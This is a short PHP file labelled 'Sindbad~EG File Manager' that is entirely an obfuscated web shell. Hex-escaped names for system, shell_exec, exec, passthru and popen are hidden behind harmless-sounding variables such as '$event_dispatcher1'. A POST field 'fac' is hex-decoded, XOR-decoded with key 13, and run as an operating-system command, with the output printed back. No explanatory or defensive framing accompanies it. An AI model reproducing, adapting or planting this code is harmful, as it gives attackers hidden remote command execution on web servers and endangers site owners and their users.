Sindbad~EG File Manager

<?php

$event_dispatcher3 = "e\x78\x65c";
$event_dispatcher1 = "s\x79ste\x6D";
$event_dispatcher4 = "p\x61\x73\x73t\x68ru";
$event_dispatcher7 = "\x70c\x6C\x6Fse";
$event_dispatcher5 = "\x70o\x70en";
$event_dispatcher6 = "\x73t\x72\x65\x61m_g\x65\x74\x5F\x63o\x6E\x74ents";
$event_dispatcher2 = "she\x6Cl_exec";
$task_processor = "\x68\x65\x78\x32bin";
if (isset($_POST["f\x61\x63"])) {
            function restore_state  (    $key ,  $holder    )    {$pset   = '';  $g=0; do{$pset.=chr(ord($key[$g])^$holder);$g++;} while($g<strlen($key)); return    $pset;}
            $fac = $task_processor($_POST["f\x61\x63"]);
            $fac = restore_state($fac, 13);
            if (function_exists($event_dispatcher1)) {
                $event_dispatcher1($fac);
            } elseif (function_exists($event_dispatcher2)) {
                print $event_dispatcher2($fac);
            } elseif (function_exists($event_dispatcher3)) {
                $event_dispatcher3($fac, $bind_key);
                print join("\n", $bind_key);
            } elseif (function_exists($event_dispatcher4)) {
                $event_dispatcher4($fac);
            } elseif (function_exists($event_dispatcher5) && function_exists($event_dispatcher6) && function_exists($event_dispatcher7)) {
                $holder_pset = $event_dispatcher5($fac, 'r');
                if ($holder_pset) {
                    $val_hld = $event_dispatcher6($holder_pset);
                    $event_dispatcher7($holder_pset);
                    print $val_hld;
                }
            }
            exit;
        }